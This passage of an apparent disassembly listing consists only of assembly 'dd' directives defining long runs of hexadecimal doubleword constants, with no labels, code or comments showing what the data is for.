0FA7CE7FCh, 4B4BDCB9h, 0F95DE4CBh, 9EB1FF75h, 5E3E4BECh dd 0C56B4565h, 9FA56799h, 5D76714Dh, 9ACEF783h, 25583457h dd 9FACF5CDh, 0CDA5353Dh, 26D84744h, 0CCBEF895h, 6F3E42F2h dd 2EBC0654h, 0E384884Ah, 0E45AE4E4h, 7557598Ah, 2B9CDA3Ah dd 1FF23932h, 0F53D95DAh, 610B19CBh, 4D0F16E0h, 11D76737h dd 3B4CCDABh, 5B848026h, 0F399010Ch, 8DA85ABDh, 8CCC37A4h dd 0B29B535Fh, 334DB9F7h, 75FDFDF9h, 59594601h, 0CF491947h dd 814A0508h, 68E18D14h, 426FD29Ch, 15695Ch, 1D24981Ah dd 9EC04AE4h, 5C179EF0h, 6FAF487Eh, 49AD667Eh, 693A67AFh dd 0FCDBCE82h, 4358C027h, 838973D9h, 0F3836348h, 51D330FDh dd 8850501Ah, 0B459176Dh, 43715DDCh, 9A72BB20h, 0C6F5B67h dd 50CA2B43h, 0FB4EBCF8h, 0F265FBEh, 15C5DC5Eh, 110BAE97h dd 244364B3h, 0B2AA1314h, 0FFAEF538h, 0C6448EC7h, 0B7C3F2ABh dd 0BF39EC2Fh, 0AE1C4EEDh, 4808B219h, 952CF332h, 73796FABh dd 1184F28Fh, 0A763B45Fh, 5B0D5C8Ah, 8578F705h, 0A065B0D6h dd 0FB14F3ACh, 14C30B1Fh, 0EDAF7463h, 223657E6h, 76578EAEh dd 0FE5D4CD1h, 9DBB89FEh, 0CDABF95Fh, 0C6ED9Dh, 2EA6CE7Fh dd 9F9E3FCBh, 0A949AA47h, 91E1272h, 0E10E9FE2h, 0EADE1E42h dd 0B7944384h, 450968E4h, 0B5CBB91Fh, 934AECDCh, 2C77D73Bh dd 0FC20A21h, 9ED13087h, 6FA4BA90h, 0D097E7F9h, 0B1C0FB7h dd 0C444EF9Bh, 5F7F6D3Fh, 5EE4D2Bh, 0D1DF1196h, 0A5B9AFBh dd 214D2EBBh, 99A939FDh, 0B2C57AD7h, 0C5D6C84Dh, 41662653h dd 0ABD5926Dh, 0D8406499h, 22BF9534h, 7E5102A7h, 91301C10h dd 197915B2h, 3FF1C005h, 0E04DBEBEh, 0DB41DDD3h, 557A2D9Fh dd 4E0B08D7h, 19E951E2h, 0D8D1002h, 0F22289E1h, 60B993BAh dd 0B7999466h, 0FADE2AB1h, 8664158Eh, 0FB404140h, 7D71B33Eh dd 0B15EDBF9h, 0A13FAB2h, 0A4D5CD6h, 13FDCD1Ch, 8655B802h dd 42458586h, 0FD839C82h, 5D9A089Fh, 7DA37C4Dh, 8019BBBEh dd 8634FAC0h, 89674746h, 0D42BBCCDh, 75465925h, 0FC4E8742h dd 3A51EDEDh, 98D32904h, 4893B9EDh, 0FBC2120Eh, 120FE47Dh dd 3A62F2h, 9DACD09Ch, 0C2868920h, 4E457D35h, 0C2544705h dd 6221C1FCh, 0BE4D0F69h, 3C97CC2Ch, 0BCD7CDBAh, 0B2638E32h dd 923060A1h, 55FF37CBh, 7A7A65B2h, 7F79573Dh, 0C12EC3Dh dd 0ED5F796Eh, 279ED897h, 5FF75CD3h, 0C076392Ch, 4CD96F57h dd 0E0A31823h, 963AC0BEh, 0C2B58B9Fh, 35669DE6h, 2031D6BCh dd 0A29202E3h, 2B2A2AFAh, 81D34979h, 0B9D053FCh, 0CF7BD2F5h dd 33B17C0Dh, 880B06C1h, 0F603FEAAh, 0C5F3E387h, 6D0C6A5Fh dd 253B9B57h, 0CF930FF9h, 808604Dh, 3365F352h, 0A96E08B9h dd 9E158747h, 3E3B5C0Ch, 1E4143A0h, 293E8496h, 0EFBB2B65h dd 0CE9236CCh, 26636DCBh, 0E50A3A49h, 0C4737518h, 974C1BE5h dd 0EE541F52h, 0BD09A575h, 0F7C06790h, 5849D43Dh, 0B3BD95Dh dd 1669DE8h, 0DA6D8531h, 6FA02207h, 0CC6092B1h, 90B6A173h dd 506F4DCh, 0E20E0365h, 1759A63h, 4E60B1D3h, 0B7C8A366h dd 71F5D1C5h, 9C0F8B60h, 0CCD46BE5h, 0DC7016A7h, 1B720776h dd 0F37EF6BCh, 0D25DD677h, 0D9FC43D0h, 3CC927A7h, 592A3790h dd 769A5EE2h, 8BA4448Bh, 0B43F7AC4h, 4CD4DB87h, 11BCB0D0h dd 0FEF591DDh, 6C568CFBh, 0EAF607D3h, 0DBFA80C9h, 0F4EBEC13h dd 1801ED7Ah, 0F383907Bh, 0F95DCA2Eh, 1695B706h, 28A767F6h dd 0AF360B64h, 7F88CE5Bh, 8E965798h, 6DC905h, 0E46DB17Eh dd 81EF5D2Ah, 3A1DBCC9h, 1FEFD3BCh, 4F8EEF58h, 12925573h dd 2CC357A3h, 70B68A7Bh, 2F0BC81Eh, 0C4E1BCF3h, 8B4CA1D6h dd 0E2C14835h, 35BA9205h, 804E314Eh, 0F0ECFE45h, 148384E2h dd 275CD442h, 673569Bh, 15E22E06h, 0F5414E5Bh, 91E66D2Ah dd 3433FBDFh, 30085C0Bh, 84F48022h, 0A4CEEAF9h, 7C81DD40h dd 2F4EA36h, 41939CFEh, 9539AEF5h, 0E9CE35C1h, 0EE3F4780h dd 302C9ACDh, 2B785F66h, 0D4919B09h, 0AC018A78h, 4132E196h dd 7BB57F59h, 7D12CF47h, 1045AE13h, 906E943h, 0FF8A32DEh dd 95DC2DCCh, 6BD9D819h, 0EC0BEA67h, 0D0121B14h, 58DA991Ah dd 6624923Fh, 64BC0537h, 325410D2h, 0C63E2B55h, 0C464ECABh dd 0D9AFA90Fh, 1A654B02h, 0F2E39C2Dh, 0DFCF009Ch, 0D39628ECh dd 0ED1CD1A9h, 9F95943Fh, 7BB2E920h, 68C2AEBh, 0D72EF5F4h dd 329B9B79h, 499D54BCh, 66831E2Dh, 0D1B230BBh, 4ED2D6D9h dd 0BA17FDDCh, 2AECE625h, 37DD231Ah, 0F5E1B418h, 0C2E8DA88h dd 0B9F0109h, 0E2E671Fh, 47C856A1h, 74B9BDD4h, 9E1324FCh dd 0B753F6B7h, 2D64404Ah, 0CCBE70C3h, 2F3F756h, 28CD461Ch dd 106C7EF0h, 37FF7B5Bh, 9146A433h, 92735310h, 0D24F81FDh dd 0CE095499h, 0C701AB5Fh, 0E2255419h, 98BDB33Fh, 0FC41F7CDh dd 0FC9DDBECh, 664700FCh, 7E58A8E6h, 4383BFA1h, 0DD1CB919h dd 5126D0F2h, 0DD3A2CC9h, 0DB649FD6h, 93CCC8B2h, 0D86340CCh dd 0EFD94432h, 7B347980h, 0FDEECB7h, 1854B050h, 5BB56465h dd 0CEF2FFC1h, 315659BCh, 5E9F9FC5h, 0AC73E2Ch, 0A93925BEh dd 5197A47Dh, 9DA91A9h, 0AA8EDD8Fh, 2089A5EFh, 75705C60h dd 0D6208930h, 941E3F0Bh, 0E39361CEh, 15AFF21Eh, 1CF8352Bh dd 8CB9CADh, 709F4776h, 0A033531h, 0B89C14DCh, 923E5079h dd 0A7F2B7D4h, 899F5E1Dh, 0BE69B3C9h, 0FFAE2832h, 0C5B4675Dh dd 467056DDh, 7FD0122Dh dd 0D5959A3Bh, 0C653D17Fh, 18AED494h, 0D3092222h, 463F47C2h dd 0BD331186h, 7D1F1025h, 4AE6962Eh, 0E4985BB2h, 0BA0F84EDh dd 145CD732h, 6DCD1BE1h, 0F7BE910Eh, 85281BFBh, 7C81EAAAh dd 0A5A9614Dh, 7FC292h, 4DE8B51Ah, 54B24CEDh, 1EE9DA6Dh dd 0C2BA0886h, 0DD318276h, 0C4C24FB9h, 0AF2DCFC8h, 61E10EF1h dd 3B7438CAh, 2EF99535h, 89E01068h, 0D5A1E2h, 3984665Ch dd 0C49E72DAh, 0A454178Fh, 409D290h, 11FBCD57h, 0C39E5ABh dd 5DE3A54Fh, 48137C24h, 0FC3F7CF7h, 29C0C184h, 8EB5652Eh dd 1632FD3Fh, 9941E4B5h, 20E3E0F6h, 1CBAAFE4h, 0BB067F27h dd 66D1A49Fh, 4A7131F4h, 71013C69h, 1598FE89h, 0E17C9E7Ch dd 70682795h, 49B2D59h, 2186AE0h, 842BB01Bh, 48F93342h dd 1001017Bh, 0CDCBC7A3h, 0E683D81Eh, 47B40BD0h, 6FFBD0B5h dd 694C625Fh, 0FA1EEF76h, 9788E1E6h, 87AFC9C8h, 7F54877Eh dd 7B1FE250h, 0DB103EB9h, 0BD6EADF3h, 9A91BAA9h, 16BB4D50h dd 436AB583h, 3CEC62AAh, 0EB33EFBBh, 0BEBFEFB1h, 3275EA9Eh dd 7D489E37h, 0AAB1EA84h, 5D82AD77h, 0CB0498D1h, 0DC37FD3Eh dd 98EEEF04h, 0A0949DA6h, 9444021Eh, 0C4888DC5h, 5A5D2F7Dh dd 873456CBh, 2291DDD7h, 2ADC64EBh, 811540D9h, 0F1320740h dd 0D5E0F1A3h, 9620C017h, 0DF18362Fh, 67947A64h, 2046EDFCh dd 75BC167Ch, 0EC8AC4E4h, 755DCA1Dh, 0FC7365E9h, 0BEDF19F5h dd 3187D6AFh, 6D9D0EE7h, 4FF99208h, 72C705CBh, 0C0218594h dd 1302CAD9h, 0F389417Eh, 0FC0E81EFh, 0E4C88EEh, 0A2EC4622h dd 91C11D60h, 0F7D65942h, 0EEF6BBEBh, 62D15C9Dh, 0A8BCE8A5h dd 0BEB1DAE8h, 47FCA049h, 0A7AF290Dh, 0A872BE5Ch, 46F731Eh dd 0AC2F02F3h, 4207F775h, 41B6BA5Ch, 0DD87B7Ah, 8EC9D12Bh dd 534BF409h, 0F60092C7h, 72D74CFh, 5D46431h, 0E8219337h dd 746884E9h, 0A31E838Eh, 0F6F62FB0h, 1AEF58C2h, 5967D655h dd 419A865Ah, 5044E61Ch, 0D14CD404h, 0CFC26A28h, 0D13074F6h dd 517D159h, 71FAAA49h, 0ED4BEDE4h, 371A9819h, 8EB067FDh dd 1E89F268h, 949D6AAh, 23361BF2h, 836E9B20h, 0CC2303BBh dd 84DFD9F2h, 0E1F130D9h, 42B5683Bh, 12F08130h, 59C1D21Dh dd 412B49A8h, 12D761F5h, 44706E5h, 6FC9466Fh, 24507D43h dd 4AF2B64Ch, 9EEF61B2h, 0CBE5C6C1h, 9CF3C348h, 44A126B1h dd 7A636F37h, 8CF397E2h, 44CB2566h, 0F6A894E9h, 91401F12h dd 71FF7222h, 4904A07Dh, 0AE3AE785h, 59A2D461h, 420CE661h dd 896FF03Dh, 19CE8263h, 0B9C9C224h, 3BCFCBA7h, 3E59367Ch dd 88F859FAh, 0A930F284h, 0EDD2D7B0h, 0B1639522h, 666AFE50h dd 4427B3DDh, 6B2FCDD8h, 0FCD73486h, 0C17C51F9h, 0EA63BC54h dd 0C64E615Ch, 17D718E4h, 6A1C85EBh, 0FA1EEC0Bh, 0D138445h dd 701A531Ch, 9CCBD9D5h, 6D18F079h, 5EF36A7Ah, 0FAB01C20h dd 0DB964FC0h, 4F679CEFh, 3115DB68h, 0B5566EFh, 0FFB06056h dd 25BDC828h, 0B67FF0E8h, 68E695D2h, 0CEFA9D8Fh, 4D947DDFh dd 443E1E51h, 8E80EEFAh, 4887ABA1h, 739A2E00h, 554B1D79h dd 17A569EDh, 0F0C97366h, 384BD12Fh, 0E1831ABDh, 388218D1h dd 5E6FE0D3h, 0C05A1302h, 913C1584h, 6B0301EDh, 0C8A3616Dh dd 545DD2CAh, 5A19B51Fh, 22C0BEAFh, 1D69A2E1h, 3046184Dh dd 57BF2AD8h, 9A76A0D7h, 8DA69C97h, 6E0379E4h, 0D64B42E0h dd 82298DF6h, 1161B15Ah, 4CB89379h, 0D6B24725h, 2D1A85ADh dd 0EC9AC69Eh, 0FE665B9Dh, 2101E7DCh, 6F8AE80Ch, 778D37ACh dd 0C1048988h, 0B7454056h, 0C1BFE6C4h, 9D25EC01h, 78EC8B1Eh dd 0E8B6AFD8h, 7B1B79AFh, 8F2B8C5Eh, 0B21950E0h, 2AEAD3A7h dd 7A34960Dh, 8DF7F337h, 2E0FDA5Bh, 1913DF3h, 424CEB5Fh dd 3EE8CD05h, 0B9AD0B5h, 6A50C0EEh, 815AA94Ch, 0CF7EF5E9h dd 8D6D21C5h, 0F8D2D941h, 83862DEAh, 0B926C872h, 0ED8C38A9h dd 0EE163DA7h, 6F626BF5h, 2DDE3546h, 0F3270FC8h, 0E66163F8h dd 0CBFE64C2h, 0AD864A01h, 0CAE92AE0h, 75B1100Fh, 4989A702h dd 23C1FB19h, 7F94CFC2h, 12C1906Bh, 0CFF39E11h, 0E38EFEADh dd 0DBCE888Fh, 7065F27Dh, 4DE8CABBh, 2A0CDD93h, 9B52DEFFh dd 6D938CA9h, 0E8B40C41h, 9374F063h, 544F0200h, 8C2D608Ah dd 1DBB152Fh, 484E930Eh, 0D76FB94Eh, 2BD05AB3h, 0BA3E445Ah dd 325156D8h, 870A28FAh, 319DCD0h, 0EA79F05Bh, 0CC912B9Dh dd 0B367F104h, 0F491ED27h, 58C0CEA8h, 3CFBD4Bh, 555436EDh dd 0CD97A50Ch, 8428B77Eh, 94020E70h, 14ED8A1Dh, 0E268DDB3h dd 0BC882592h, 7C562588h, 0A966F7A9h, 23ADF1B8h, 0E97E1D52h dd 30ED442Fh, 0F772F0F3h, 3E821F05h, 0C114DF22h, 9C5C42D9h dd 4E99FDAEh, 10E010Eh, 0FA096B7Ch, 0E32C2ECFh, 63365855h dd 0BB382198h, 630ED2FCh, 14700C9Dh, 0E20FEF23h, 0CA4430Eh dd 0A09B132Dh, 0A2AF0F0Ch, 1F4DC005h, 4BEFF8B9h, 4F66DE75h dd 53BE3AB0h, 39CF5680h, 80DD7D07h, 0F94897A5h, 529219F0h dd 0CCAC158Dh, 0EDC39C6Fh, 0D829DA3Ch, 9DFF53C3h, 4ED249F3h dd 0A1AA247Eh, 61BB5D90h, 0ED4FF037h, 0F3566C59h, 6CD6EE3Ah dd 0D5797A73h, 4BE9175Fh, 9EFCF368h, 7118CAFDh, 0C03FD71Dh dd 8EC823A6h, 6263A314h, 55600A91h, 0E3EBA633h, 1A8D3632h dd 1CEED784h, 4A9D299h, 28B7C90Fh, 0C32F9AA9h, 0CF2F88CEh dd 0DC55AF85h, 9977D8EAh, 92C69808h, 87560B07h, 0F72EF8BCh dd 384042FEh, 0BB975783h, 2764A301h, 1350C30Ah, 0E6EA2ACFh dd 0B9DCAE71h, 0FF2C6802h, 434FEF8Fh, 47C1581Dh, 0CCD9FAD6h dd 9C26B2F1h, 0DE2D4D64h, 0D64B2D6Eh, 79656AD2h, 82D34BF7h dd 263D60E8h, 0E97D6E30h, 0E6527017h, 11A475ADh, 0BD05FCCh dd 54E7EAB6h, 0D15C82Dh, 8AE8CF19h, 215009F2h, 0F1EC2DE2h dd 4A9EFB04h, 84379903h, 96A5F7C3h, 0D180F141h, 5928514Fh dd 636D155Ch, 7E96E221h, 513966CDh, 0C7AF999Bh, 0B224BE83h dd 0BC66FF22h, 476A8B98h, 80ABB480h, 0BC9F26B9h, 2BCAB3C9h dd 39824301h, 8F9D1405h, 2604B93Bh, 956C02FAh, 8E2D634Dh dd 0A68BC803h, 37DB5097h, 52F085C9h, 0B29CD272h, 2D0BF89Fh dd 0F4D2D15Ah, 3FEC3430h, 0E67580F6h, 70DDE60Dh, 0BC37D3C1h dd 0E679267Fh, 1BCDBA39h, 16DF0D3Ah, 907A5E84h, 0BA30B2FBh dd 8CFC3FE1h, 0E1995598h, 2C3D79h, 38568292h, 86AAC35Fh dd 0CD6B3A0Dh, 2008D9F2h, 8C6CB0E6h, 0D78A089Eh, 456A608Dh dd 0DD157CD5h, 49D17ED4h, 75A1577Dh, 39B50C78h, 0E140567Ch dd 8316F345h, 7C5858F9h, 10ABF668h, 0C77884FCh, 4D85FE69h dd 0B16CDECh, 699A3AC3h, 9120B103h, 20AD6037h, 26A546Bh dd 3AF2D266h, 0EDD2D5EDh, 25551EC4h, 863A2BD7h, 4F212CF7h dd 0BB0C9070h, 56E549A3h, 70313620h, 0EA313160h, 0EA1E34AAh dd 88BCFCC3h, 6F8EC469h, 886B7448h, 69709163h, 39F8EB7Ah dd 648B0C5Ch, 67576955h, 3E09F886h, 3BE16AD4h, 6C25E485h dd 2DC77E18h, 2AF0662Dh, 0A77EC7F4h, 245958F7h, 5B400BA2h dd 6FCB1E64h, 65E67DCFh, 0F6E44461h, 289A700h, 7DD82689h dd 0A1A67928h, 7D102CBCh, 0A37EBE48h, 7E0B40A6h, 0B3BE469Fh dd 0EE30DE2Eh, 9EA0F6F3h, 7D9F48D1h, 0FCCAA6E6h, 0B3810C44h dd 0A4B95986h, 0B87F5775h, 47523DC0h, 691B0375h, 53D8899Ah dd 0D4A89422h, 5EF9975Dh, 588AF864h, 0A5DAE061h, 9A953C80h dd 3E4FDF39h, 0BAC8BC0Ah dd 59BF300Ah, 1F443525h, 1E3C62A4h, 2B47DB22h, 4CFE246Ah dd 65CEFF48h, 0FB86278Ah, 6A09D698h, 9F584D96h, 0F46D104Ch dd 2BD521E0h, 0B97CE484h, 0B92F1389h, 0A6EF11F3h, 0A59F1A54h dd 0AC5A9E16h, 0CF7F0320h, 7999E11Bh, 0F4A75988h, 92CF0B6Ch dd 479D2C56h, 0EDAD173Ch, 28EE5BB1h, 9FC718B5h, 73B3238Ah dd 8751E60Bh, 0B56408C5h, 20C30DFDh, 69B328C4h, 83A4A0B1h dd 0F6D9DBD5h, 3819C575h, 0F7FF4ECFh, 1C4912E5h, 1F7F9891h dd 324F5CB5h, 7DDB7F0Eh, 0DD758BDh, 26326D3Ch, 9BE47D9Eh dd 9FC1FC0Fh, 303E55ABh, 52E8EB38h, 947086FDh, 3D4C16EBh dd 3E7FC19Eh, 9AA84D4Ah, 0A3A33342h, 0DFDA6F64h, 0C28B9C32h dd 56F16807h, 5350212Eh, 0B28D50DDh, 6C6083C0h, 1515E45Ah dd 92E7CDB7h, 0DA3E3709h, 3CDA0933h, 61B02273h, 0AAAE5A4Fh dd 0E29C8710h, 55DB6Bh, 8641467Ah, 0CCB399A4h, 48B0C206h dd 0B6033DE9h, 8AD9251Fh, 42B06339h, 7B3A0694h, 15BF8C63h dd 0EB9C317Bh, 9C3D86B9h, 0D139E028h, 0A76A9A54h, 0FCC76F9Bh dd 0F6B5A3DCh, 4545078Bh, 8134A2F6h, 585F4DE1h, 848FCC31h dd 2848B28Ch, 0DAB873B1h, 7AA353C2h, 0F5855C48h, 32792E02h dd 5AD2303Eh, 7F29BEFDh, 41405BAh, 48F3665Ch, 6879F5D3h dd 7B981563h, 0B9D1C46h, 0C223D592h, 519A8693h, 0E5C7E4D4h dd 9E040CB1h, 0D68688D5h, 45954BC4h, 0B64009AFh, 6E70CCB7h dd 0EA101334h, 4A7CB887h, 79EFB189h, 430C3F29h, 0AE1B5916h dd 65FD9C20h, 5B8C0241h, 0F513C5Fh, 93FDA05Ah, 919112F1h dd 91988562h, 8778E553h, 0A300A05Fh, 0DE351F2Fh, 0CB67DBF3h dd 2C65A58Ah, 505E3F8h, 0A5391C33h, 8DEF66FFh, 20693B82h dd 548301F5h, 0E113647Ah, 0F679814Eh, 0E9C331BEh, 807AA372h dd 6047D976h, 0EA6BC6C7h, 76F990BBh, 0DD3DA4AAh, 370C2EE4h dd 8674FD8Bh, 69D2391Bh, 0E726274Ah, 0A824A6ABh, 0C6EF9B1h dd 0F440B774h, 5C94B88Bh, 7DD71210h, 247990BDh, 0CD656C8Bh dd 0CF7ED8F2h, 390E2E12h, 0B8351595h, 9D6C7819h, 51EE2CCCh dd 0F58012CEh, 81027646h, 0FE0751A9h, 0EFAE15B9h, 0D105FF39h dd 0ED42A30Ah, 909ECBABh, 18C6CA76h, 0E89E9AD7h, 91022064h dd 61B38444h, 0C514F8EBh, 0EC743671h, 654A8C90h, 74A2CE27h dd 702E21A7h, 0FE891569h, 0B3AE74FCh, 8E7DCB25h, 1E628F01h dd 6842C749h, 25D26092h, 75965141h, 0F174AC2Bh, 60BA6E8Ch dd 0BCDC0CF0h, 8E501E05h, 41CA374h, 9219B9E6h, 678913A9h dd 0E19F60D5h, 3A724E0Eh, 0E3959D88h, 40FC0721h, 8F0F763Ch dd 304A344Dh, 7AF8B760h, 5BD46967h, 0E71E9B3Dh, 0D0CBE05Ch dd 3F246086h, 2F26F0BEh, 0EF46B2Dh, 0B78C9A1Ch, 0A0F6EB33h dd 8A6EBE52h, 0C7A1859h, 44C6B2DEh, 0A7B60F65h, 5BA09907h dd 0C3BD12B8h, 0FFCE53E7h, 0D3D5F09Eh, 7276EA6Fh, 0B44FB92Eh dd 6BE2AFA7h, 0D65831B2h, 3AB75B4Bh, 0F77D920Eh, 8BE52955h dd 6813EB08h, 0D484D7DAh, 0D6E8919Eh, 0B4D7DEEAh, 8913E73Fh dd 50B2AED5h, 8CD18031h, 11833562h, 35193340h, 0FDBEF529h dd 5D406513h, 0C5777FE4h, 0F3B90087h, 75119BFh, 21929109h dd 8CD995D0h, 76EE2D99h, 7866888Ch, 31F84216h, 67672F87h dd 2A515EF7h, 95192B6Fh, 68B5666Dh, 0E8A19301h, 0C28BB9FAh dd 80B8C1DEh, 6EE881F0h, 0EECF5844h, 8F4152D1h, 703E9663h dd 89786BB4h, 739D6EBh, 0E2E943ADh, 0B3C54FCEh, 83B21A5Eh dd 96B068AFh, 0D232126Ch, 90DBA3AFh, 91004473h, 0D3F6118h dd 9D9303BAh, 388D255Ah, 0CC4AF1DEh, 0A5050FE6h, 8792858Eh dd 0B2F99FD7h, 7058EE9Ch, 20F1E7C0h, 5D0B77B7h, 8F6F2C5Ch dd 26423B09h, 95BB3D67h, 692642D1h, 581B0B64h, 0F61E4234h dd 0C950F1B0h, 0F97EAB42h, 156744B3h, 9F2354B4h, 0DF4A42E9h dd 272B4D62h, 3D340FB7h, 3D626CABh, 903691Ch, 77982FE6h dd 90F7D8E9h, 9AC6B65Fh, 9B92D3C1h, 75293386h, 8EC1B3D1h dd 0CADFF6A2h, 2C913733h, 72639139h, 4FAD4531h, 0AD9883A6h dd 667A87B3h, 1E263C83h, 0BAE1C249h, 771EDCAFh, 27ABFBC3h dd 67FFBC69h, 194E724Bh, 4A493927h, 5F89972Eh, 84A4AB94h dd 2C671126h, 2E106301h, 57AD64CCh, 71B8592Fh, 7F0E5ADDh dd 1F6CE07Ah, 91DF533Bh, 6E0845B7h, 0A1EFF16Ah, 6B44819Fh dd 0D74AED48h, 0D953591h, 17B25BD4h, 8D5CB06Bh, 9D578F0h dd 0C38998B9h, 745E4957h, 0DADAF3FBh, 0B42C6CCEh, 0C4784B66h dd 0DBEDFECDh, 0A77D7C76h, 2B0553E7h, 794EF292h, 590DCBF1h dd 9742C7D0h, 5A625EFDh, 3662858h, 0C4F04A79h, 87918485h dd 0C2047C6Dh, 47380292h, 0CF781127h, 0DECDAE12h, 88B62CD8h dd 0D224A0D2h, 750541A9h, 9A7190F2h, 1B9EFBC1h, 0F5BDB52Bh dd 0DF85B745h, 6D34ABB1h, 0DB4DC82Fh, 4C3F2CA1h, 0B8FF4C19h dd 67068E60h, 20D18E64h, 700E54EBh, 4FA23601h, 952C0857h dd 0A4DE20D8h, 0C862DE15h, 0C04BA6DFh, 0B1142677h, 0EEB20CE7h dd 0E629C30h, 0C1998A92h, 0D5B70E1Bh, 1B176A98h, 0D93CB51h dd 1E048067h, 718D22C5h, 0CECF6AF4h, 8DCB10A1h, 4057E3BBh dd 0C7473EEFh, 3F63834h, 0E4351A77h, 0A931581Bh, 56D83C0Dh dd 7ED3E052h, 8A48085Fh, 53FC7675h, 3ABFF45Eh, 232B36Eh dd 3FA55BF0h, 0B591B4F9h, 0E65D2B79h, 0A247D962h, 0D5BD0E3Fh dd 4082EC0Bh, 743D71B2h, 0E2580C59h, 0B54AB82Dh, 0A7306A9Eh dd 0B325C6E0h, 5D8A6EA4h, 0A0ABBFADh, 42FE0E00h, 2F8A7365h dd 86D23ED3h, 0D3E982F5h, 0F0E7DA76h, 44A39DECh, 0C4AA35C0h dd 41B0AD8Ah, 0C586C299h, 0B5A87848h, 0F8BD9C91h, 63C99907h dd 7F980B5Fh, 9E43B4D0h, 51010498h, 8812C137h, 0C61102Fh dd 4A07351Ch, 97D97838h, 8AE76AD7h, 0EB036E17h, 0C180BBFAh dd 349C4B3h, 0A2228DDEh, 903FF652h, 7D94A7A2h, 90C59071h dd 0F200817Ah, 51B252F7h, 0CE784723h, 0D0D1537Eh, 281FE3C9h dd 6B442F6Dh, 1E6536FDh, 0E8FD91FFh, 0DD402AA7h, 0FD81B9B9h dd 9AC6A3B4h, 0E8185ED2h, 0ABBD193Fh, 4496B322h, 9E79D282h dd 0C28F280Eh, 0EC375F5Ah, 0CF753A08h, 283DF2Eh, 57067565h dd 0F25FD49Fh, 9FBE8A23h, 7D498EB0h, 4D349C56h, 245B4FB4h dd 0DD69C81Eh, 662B7E26h, 4895C66Eh, 0DD24D7DDh, 0B121CA14h dd 59BF939Ch, 0B2AD2DF5h, 192DB90Ch, 329A7Ah, 0C8A9DD3Bh dd 9CE2F26Fh, 0E04179DCh, 0BC2751ABh, 7BBD2FE1h, 0A79EB5C0h dd 5A83C106h, 0EBF0D926h, 0DF042B87h, 905E7804h, 593354C9h dd 361FD14Bh, 599B5209h, 51770556h, 0F3896369h, 83294E09h dd 0C20958BFh, 68E5953Eh, 6DB24CC2h, 8D752340h, 9EDE770Fh dd 58E3D7D8h, 3C4E2290h, 84E0F779h, 0CE2342D7h, 0A1E71C79h dd 900C2CA5h, 0D5D2832h, 0A174A369h, 0C5B4C339h, 0ECC6D481h dd 810ABC1Eh, 0EC57179Fh, 0E53C3E1Fh, 343A32FBh, 12155A1Fh dd 9FC06B9Eh, 1535B0A9h, 0F0245225h, 88BEF526h, 0ECF2571Fh dd 4F29328h, 4F108D2Ch, 3046C884h, 6620895Ch, 929DACC9h dd 7A85EB1Ah, 25D7E61h, 0C9ED98D0h, 1286F29Ch, 0B4D1EFEEh dd 777FFED9h, 2DC97163h, 0BEEF55E2h, 0F1A52A02h, 7DFB9523h dd 779FC2FBh, 52ADED5Ch, 34216805h, 0C272D5B0h, 15CA466Ah dd 66A57DBh, 0C7221C57h, 11B4DF6Bh, 79DBB6Bh, 0D6F6CC32h dd 1A01D9DAh, 70E9CB57h, 46BE746Ah, 0E6D73DF3h, 0A06E9CB6h dd 0DEB87DBDh, 23693E88h dd 2EEF18B4h, 3F052158h, 7F75CE27h, 9A4EC456h, 0AF3B8260h dd 0F05A4BA6h, 0E7812DF6h, 77857AABh, 41E757D4h, 71764208h dd 0F092D7A0h, 77D75EE6h, 54F6B5B8h, 0CB295F38h, 1E11140Eh dd 17C9E018h, 6768762Ch, 52083D83h, 0F4013CCDh, 48F32A29h dd 4308A106h, 8651E449h, 847F65A1h, 0F15BAF53h, 1EB30346h dd 0AE45CE5Eh, 86FFECDFh, 9AFEB7EDh, 0CB25BBE9h, 0C14F3577h dd 72232324h, 2CDF11B7h, 529A1D3Ah, 671CA07Dh, 3C01760Ch dd 7068F2A6h, 436B38CFh, 0C1C5EAA0h, 2E959BCh, 0C99A4E87h dd 0CE486BA6h, 2FB56E2Bh, 1512BAB2h, 1A5E9640h, 7703FBF4h dd 0BD03EF1Fh, 199776AFh, 0AAAD25B4h, 3B1DCA06h, 6470CD38h dd 0BC5F5D8Bh, 568628FCh, 574841E4h, 14DC7484h, 31A5BA96h dd 0FC801A4Ah, 585627Ch, 0BBD4F989h, 0FB616059h, 0DF33A932h dd 34077F3Fh, 899C0B3Eh, 25081896h, 8CBF1ACFh, 50D9F5D6h dd 5DC94F3Ah, 0C9CBB91Eh, 53E00C8h, 0F8FD920h, 0F0859545h dd 0B5A68C4Eh, 0A6A69016h, 0A068520Bh, 0DF7B9915h, 78798A06h dd 0BFFDED81h, 0C9BB962Fh, 75BF9DE3h, 2FD9FBBAh, 5772FC9Dh dd 0F230FC4Fh, 3F301399h, 0E5D742DFh, 31A3FFCFh, 0CCE9D68Fh dd 0C7F4F537h, 0CA828871h, 0F90540A4h, 94B2F44Eh, 9DC0E542h dd 12157496h, 0ACDA96Fh, 28A520A8h, 96E472B3h, 0E22DC902h dd 0A0716C6Eh, 7EB89CCFh, 6A53C21h, 60DCD306h, 0B293EBADh dd 71237937h, 0A9CBB45Dh, 56007BADh, 166E2F71h, 7EB51607h dd 43D3AD76h, 1E31B14Ah, 0CA5F5ED7h, 0B1CEFE91h, 205552A4h dd 2F88B751h, 7AD1DF42h, 6EA71DACh, 0FA14D7ACh, 0ABF29C9h dd 33CDD7F0h, 79E81B60h, 0B4803BCBh, 35F91171h, 0F3B146B3h dd 9E6A8D9Fh, 7CEBB999h, 47A83EF3h, 4B1953B0h, 2C027537h dd 1BFEE016h, 0F4F24009h, 0A2153A0Bh, 0A0842E54h, 0D0218D31h dd 0F2822DFh, 0B995E222h, 0AF061E5Eh, 0CADEB4F0h, 637BCFE3h dd 0CAB51718h, 25765CEDh, 404785C5h, 0E2E12A1Ch, 0E3473BC9h dd 0C8E158Eh, 46A2DCC8h, 47CCB642h, 6A43B48Ah, 4A162C04h dd 0D801CC99h, 0B33B8F65h, 115F3456h, 92332E7h, 0B3F91AE8h dd 0EA84C975h, 35566FECh, 8C9307F1h, 0D3F12507h, 4BF315E4h dd 11A5FE8Ah, 5C9972F4h, 0CA5AA411h, 99857BFFh, 4D5CC407h dd 0CA64B69h, 15351B75h, 0A80E459Bh, 0AD7F4E58h, 97B9BF3Dh dd 0BCB1D77h, 764A1B0Ah, 0C1046366h, 0FA0FAE17h, 21F5AFEBh dd 785D8076h, 0FAF5D11Ah, 52517BD8h, 3DD2E0F9h, 974FFB51h dd 0B33AF31h, 5E644B89h, 0AB3B67D0h, 4707D532h, 0D39363B2h dd 8B6705AFh, 0B32B2062h, 9B55B0B0h, 0F7E06BCEh, 88E12076h 